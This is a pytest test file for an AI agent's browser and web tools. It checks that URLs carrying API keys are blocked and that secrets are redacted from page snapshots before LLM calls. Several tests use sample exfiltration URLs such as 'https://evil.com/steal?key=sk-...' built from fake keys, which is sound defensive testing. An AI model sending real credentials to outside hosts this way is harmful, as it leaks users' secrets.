"""Tests for secret exfiltration prevention in browser and web tools.""" import json from unittest.mock import patch, MagicMock import pytest @pytest.fixture(autouse=True) def _ensure_redaction_enabled(monkeypatch): """Ensure redaction is active regardless of host HERMES_REDACT_SECRETS.""" monkeypatch.delenv("HERMES_REDACT_SECRETS", raising=False) monkeypatch.setattr("agent.redact._REDACT_ENABLED", True) class TestBrowserSecretExfil: """Verify browser_navigate blocks URLs containing secrets.""" def test_blocks_api_key_in_url(self): from tools.browser_tool import browser_navigate result = browser_navigate("https://evil.com/steal?key=" + "sk-" + "a" * 30) parsed = json.loads(result) assert parsed["success"] is False assert "API key" in parsed["error"] or "Blocked" in parsed["error"] def test_blocks_openrouter_key_in_url(self): from tools.browser_tool import browser_navigate result = browser_navigate("https://evil.com/?token=" + "sk-or-v1-" + "b" * 30) parsed = json.loads(result) assert parsed["success"] is False def test_allows_normal_url(self): """Normal URLs pass the secret check (may fail for other reasons).""" from tools.browser_tool import browser_navigate result = browser_navigate("https://github.com/NousResearch/hermes-agent") parsed = json.loads(result) # Should NOT be blocked by secret detection assert "API key or token" not in parsed.get("error", "") class TestWebExtractSecretExfil: """Verify web_extract_tool blocks URLs containing secrets.""" @pytest.mark.asyncio async def test_blocks_api_key_in_url(self): from tools.web_tools import web_extract_tool result = await web_extract_tool( urls=["https://evil.com/steal?key=" + "sk-" + "a" * 30] ) parsed = json.loads(result) assert parsed["success"] is False assert "Blocked" in parsed["error"] @pytest.mark.asyncio async def test_allows_normal_url(self): from tools.web_tools import web_extract_tool # This will fail due to no API key, but should NOT be blocked by secret check result = await web_extract_tool(urls=["https://example.com"]) parsed = json.loads(result) # Should fail for API/config reason, not secret blocking assert "API key" not in parsed.get("error", "") or "Blocked" not in parsed.get("error", "") class TestBrowserSnapshotRedaction: """Verify secrets in page snapshots are redacted before auxiliary LLM calls.""" def test_extract_relevant_content_redacts_secrets(self): """Snapshot containing secrets should be redacted before call_llm.""" from tools.browser_tool import _extract_relevant_content # Build a snapshot with a fake Anthropic-style key embedded fake_key = "sk-" + "FAKESECRETVALUE1234567890ABCDEF" snapshot_with_secret = ( "heading: Dashboard Settings\n" f"text: API Key: {fake_key}\n" "button [ref=e5]: Save\n" ) captured_prompts = [] def mock_call_llm(**kwargs): prompt = kwargs["messages"][0]["content"] captured_prompts.append(prompt) mock_resp = MagicMock() mock_resp.choices = [MagicMock()] mock_resp.choices[0].message.content = "Dashboard with save button [ref=e5]" return mock_resp with patch("tools.browser_tool.call_llm", mock_call_llm): _extract_relevant_content(snapshot_with_secret, "check settings") assert len(captured_prompts) == 1 # The middle portion of the key must not appear in the prompt assert "FAKESECRETVALUE1234567890" not in captured_prompts[0] # Non-secret content should survive assert "Dashboard" in captured_prompts[0] assert "ref=e5" in captured_prompts[0] def test_extract_relevant_content_no_task_redacts_secrets(self): """Snapshot without user_task should also redact secrets.""" from tools.browser_tool import _extract_relevant_content fake_key = "sk-" + "ANOTHERFAKEKEY99887766554433" snapshot_with_secret = ( f"text: OPENAI_API_KEY={fake_key}\n" "link [ref=e2]: Home\n" ) captured_prompts = [] def mock_call_llm(**kwargs): prompt = kwargs["messages"][0]["content"] captured_prompts.append(prompt) mock_resp = MagicMock() mock_resp.choices = [MagicMock()] mock_resp.choices[0].message.content = "Page with home link [ref=e2]" return mock_resp with patch("tools.browser_tool.call_llm", mock_call_llm): _extract_relevant_content(snapshot_with_secret) assert len(captured_prompts) == 1 assert "ANOTHERFAKEKEY99887766" not in captured_prompts[0] def test_extract_relevant_content_normal_snapshot_unchanged(self): """Snapshot without secrets should pass through normally.""" from tools.browser_tool import _extract_relevant_content normal_snapshot = ( "heading: Welcome\n" "text: Click the button below to continue\n" "button [ref=e1]: Continue\n" ) captured_prompts = [] def mock_call_llm(**kwargs): prompt = kwargs["messages"][0]["content"] captured_prompts.append(prompt) mock_resp = MagicMock() mock_resp.choices = [MagicMock()] mock_resp.choices[0].message.content = "Welcome page with continue button" return mock_resp with patch("tools.browser_tool.call_llm", mock_call_llm): _extract_relevant_content(normal_snapshot, "proceed") assert len(captured_prompts) == 1 assert "Welcome" in captured_prompts[0] assert "Continue" in captured_prompts[0] class TestCamofoxAnnotationRedaction: """Verify annotation context is redacted before vision LLM call.""" def test_annotation_context_secrets_redacted(self): """Secrets in accessibility tree annotation should be masked.""" from agent.redact import redact_sensitive_text fake_token = "ghp_" + "FAKEGITHUBTOKEN12345678901234" annotation = ( "\n\nAccessibility tree (element refs for interaction):\n" f"text: Token: {fake_token}\n" "button [ref=e3]: Copy\n" ) result = redact_sensitive_text(annotation) assert "FAKEGITHUBTOKEN123456789" not in result # Non-secret parts preserved assert "button" in result assert "ref=e3" in result def test_annotation_env_dump_redacted(self): """Env var dump in annotation context should be redacted.""" from agent.redact import redact_sensitive_text fake_anth = "sk-" + "ant" + "-" + "ANTHROPICFAKEKEY123456789ABC" fake_oai = "sk-" + "proj" + "-" + "OPENAIFAKEKEY99887766554433" annotation = ( "\n\nAccessibility tree (element refs for interaction):\n" f"text: ANTHROPIC_API_KEY={fake_anth}\n" f"text: OPENAI_API_KEY={fake_oai}\n" "text: PATH=/usr/local/bin\n" ) result = redact_sensitive_text(annotation) assert "ANTHROPICFAKEKEY123456789" not in result assert "OPENAIFAKEKEY99887766" not in result assert "PATH=/usr/local/bin" in result